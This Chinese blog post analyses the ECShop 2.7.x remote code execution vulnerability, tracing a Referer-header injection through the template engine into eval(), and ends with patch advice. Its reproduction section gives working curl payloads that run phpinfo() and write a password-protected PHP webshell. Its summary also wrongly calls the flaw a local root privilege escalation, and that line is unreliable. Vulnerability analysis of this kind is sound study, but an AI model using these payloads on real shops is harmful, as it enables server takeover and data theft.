Nice to meet you.

Ecshop远程代码执行漏洞

字数统计: 1.6k阅读时长: 7 min
2018/10/04 Share

漏洞简介

漏洞名称:Ecshop全系列版本远程代码执行漏洞
漏洞危害:低权限用户可利用该漏洞在受影响的Linux系统上实现本地提权获取root权限
影响范围:ECShop <= 2.7.x,2018年9月1日阿里云态势感知发布预警


漏洞原理

漏洞分析部分转载自:预警| ECShop全系列版本远程代码执行高危漏洞 阿里云WAF已可防御
该漏洞产生的根本原因在于ECShop系统的user.php文件中,display函数的模板变量可控,导致注入,配合注入可达到远程代码执行的效果。使得攻击者无需登录等操作,直接可以获得服务器的权限。

首先从user.php文件入手,代码中可以看到,系统读取HTTP_REFERER传递过来的
内容赋值给$back_act变量
接着以$back_act的值为参数,调用assign方法。
文件:/user.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/* 用户登录界面 */
elseif ($action == 'login')
{
if (empty($back_act))
{
if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER']))
{
$back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER'];
}
else
{
$back_act = 'user.php';
}

}

$captcha = intval($_CFG['captcha']);
if (($captcha & CAPTCHA_LOGIN) && (!($captcha & CAPTCHA_LOGIN_FAIL) || (($captcha & CAPTCHA_LOGIN_FAIL) && $_SESSION['login_fail'] > 2)) && gd_version() > 0)
{
$GLOBALS['smarty']->assign('enabled_captcha', 1);
$GLOBALS['smarty']->assign('rand', mt_rand());
}

$smarty->assign('back_act', $back_act);
$smarty->display('user_passport.dwt');
}

assign方法的作用是把可控变量传递给模版函数,紧接着再通过display方法展示到页面上。接下来跟进display内部的insert_mod方法。
文件:/includes/cls_template.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
 /**
* 注册变量
*
* @access public
* @param mix $tpl_var
* @param mix $value
*
* @return void
*/
function assign($tpl_var, $value = '')
{
if (is_array($tpl_var))
{
foreach ($tpl_var AS $key => $val)
{
if ($key != '')
{
$this->_var[$key] = $val;
}
}
}
else
{
if ($tpl_var != '')
{
$this->_var[$tpl_var] = $value;
}
}
}

/**
* 显示页面函数
*
* @access public
* @param string $filename
* @param sting $cache_id
*
* @return void
*/
function display($filename, $cache_id = '')
{
$this->_seterror++;
error_reporting(E_ALL ^ E_NOTICE);

$this->_checkfile = false;
$out = $this->fetch($filename, $cache_id);

if (strpos($out, $this->_echash) !== false)
{
$k = explode($this->_echash, $out);
foreach ($k AS $key => $val)
{
if (($key % 2) == 1)
{
$k[$key] = $this->insert_mod($val);
}
}
$out = implode('', $k);
}
error_reporting($this->_errorlevel);
$this->_seterror--;

echo $out;
}

接下来跟进display内部的insert_mod方法。
文件:/includes/cls_template.php

1
2
3
4
5
6
7
8
function insert_mod($name) // 处理动态内容
{
list($fun, $para) = explode('|', $name);
$para = unserialize($para);
$fun = 'insert_' . $fun;

return $fun($para);
}

insert_mod方法返回了一个动态函数调用,该函数名和参数均可控,根据攻击者的利用方法,我们可以得知调用的函数名为insert_ads,接下来跟进这一方法。
文件:/includes/lib_insert.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/**
* 调用指定的广告位的广告
*
* @access public
* @param integer $id 广告位ID
* @param integer $num 广告数量
* @return string
*/
function insert_ads($arr)
{
static $static_res = NULL;

$time = gmtime();
if (!empty($arr['num']) && $arr['num'] != 1)
{
$sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
'p.ad_height, p.position_style, RAND() AS rnd ' .
'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
"WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
"AND a.position_id = '" . $arr['id'] . "' " .
'ORDER BY rnd LIMIT ' . $arr['num'];
$res = $GLOBALS['db']->GetAll($sql);
}
...//ignore
$position_style = 'str:' . $position_style;

$need_cache = $GLOBALS['smarty']->caching;
$GLOBALS['smarty']->caching = false;

$GLOBALS['smarty']->assign('ads', $ads);
$val = $GLOBALS['smarty']->fetch($position_style);

$GLOBALS['smarty']->caching = $need_cache;

return $val;
}

不难发现,$arr[‘id’]和$arr[‘num’]这两个变量,都是外部可控的输入点,在构造攻击向量的过程中执行的SQL语句如下。
pic1
pic2
接着,程序调用了fetch方法,参数由$row[‘position_style’]变量赋值,这一变量同样为外部可控输入点。
文件:/includes/lib_insert.php

1
2
3
4
5
6
7
8
9
10
11
$position_style = 'str:' . $position_style;

$need_cache = $GLOBALS['smarty']->caching;
$GLOBALS['smarty']->caching = false;

$GLOBALS['smarty']->assign('ads', $ads);
$val = $GLOBALS['smarty']->fetch($position_style);

$GLOBALS['smarty']->caching = $need_cache;

return $val;

这里fetch函数调用了危险函数,这就是最终触发漏洞的点。但是参数在传递之前要经过fetch_str方法的处理。
文件:/includes/cls_template.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function fetch($filename, $cache_id = '')
{
if (!$this->_seterror)
{
error_reporting(E_ALL ^ E_NOTICE);
}
$this->_seterror++;

if (strncmp($filename,'str:', 4) == 0)
{
$out = $this->_eval($this->fetch_str(substr($filename, 4))); //漏洞点
}
...//ignore
}

最终输入点依次经过fetch_str、select、get_val,最终传入make_var方法。
文件:/includes/cls_template.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function make_var($val)
{
if (strrpos($val, '.') === false)
{
if (isset($this->_var[$val]) && isset($this->_patchstack[$val]))
{
$val = $this->_patchstack[$val];
}
$p = '$this->_var[\'' . $val . '\']';
}
else
{
$t = explode('.', $val);
$_var_name = array_shift($t);
if (isset($this->_var[$_var_name]) && isset($this->_patchstack[$_var_name]))
{
$_var_name = $this->_patchstack[$_var_name];
}
if ($_var_name == 'smarty')
{
$p = $this->_compile_smarty_ref($t);
}
else
{
$p = '$this->_var[\'' . $_var_name . '\']';
}
foreach ($t AS $val)
{
$p.= '[\'' . $val . '\']';
}
}

return $p;
}

最终传递到eval的字符串为:
pic3
到此,漏洞原理分析完成,攻击者的恶意代码执行成功。


漏洞复现

测试环境:ECSHOP_2.7.3
由于没找到ECSHOP在之前有漏洞的版本,本地部署也比较麻烦,找到一个名为 VSPlate 平台,输入
https://github.com/vulnspy/ECShop_2.7.3_UTF8_installed 即可搭建一个ECSHOP_2.7.3的漏洞测试环境。

创建好ECSHOP

pic4

发送Payload执行 phpinfo();

在终端中执行(要更换域名):

1
curl http://example.com/user.php -d 'action=login&vulnspy=phpinfo();exit;' -H 'Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'"'"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca'

pic5

发送 Paylod 写入 webshell

在终端中执行(要更换域名):

1
curl http://example.com/user.php -d 'action=login&vulnspy=eval(base64_decode($_POST[d]));exit;&d=ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOz8%2BJyk7' -H 'Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:"id";s:3:"'"'"'/*";s:3:"num";s:201:"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca'

pic6

成功获取webshell

执行成功后会自动生成 http://example/vulnspy.php 文件,密码为 vulnspy。
访问:http://example/vulnspy.php?vulnspy=phpinfo();
pic7


建议

现在官方已更新,更新版本即可。


参考链接:
预警| ECShop全系列版本远程代码执行高危漏洞 阿里云WAF已可防御
ECShop全系列版本远程代码执行高危漏洞分析
ECShop <= 2.7.x 全系列版本远程代码执行高危漏洞利用

声明:本站如无意中侵犯了某个媒体或个人的知识产权,请联系告之,本网站将立即删除。本站内容来自于互联网,仅适于技术爱好者学习研究使用,学习中请遵循国家相关法律法规,一否则切后果自责,本站不承担任何责任!

文中若存在不妥或有误之处,敬请指正,不胜感激。

CATALOG
  1. 1. 漏洞简介
  2. 2. 漏洞原理
  3. 3. 漏洞复现
    1. 3.1. 创建好ECSHOP
    2. 3.2. 发送Payload执行 phpinfo();
    3. 3.3. 发送 Paylod 写入 webshell
    4. 3.4. 成功获取webshell
  4. 4. 建议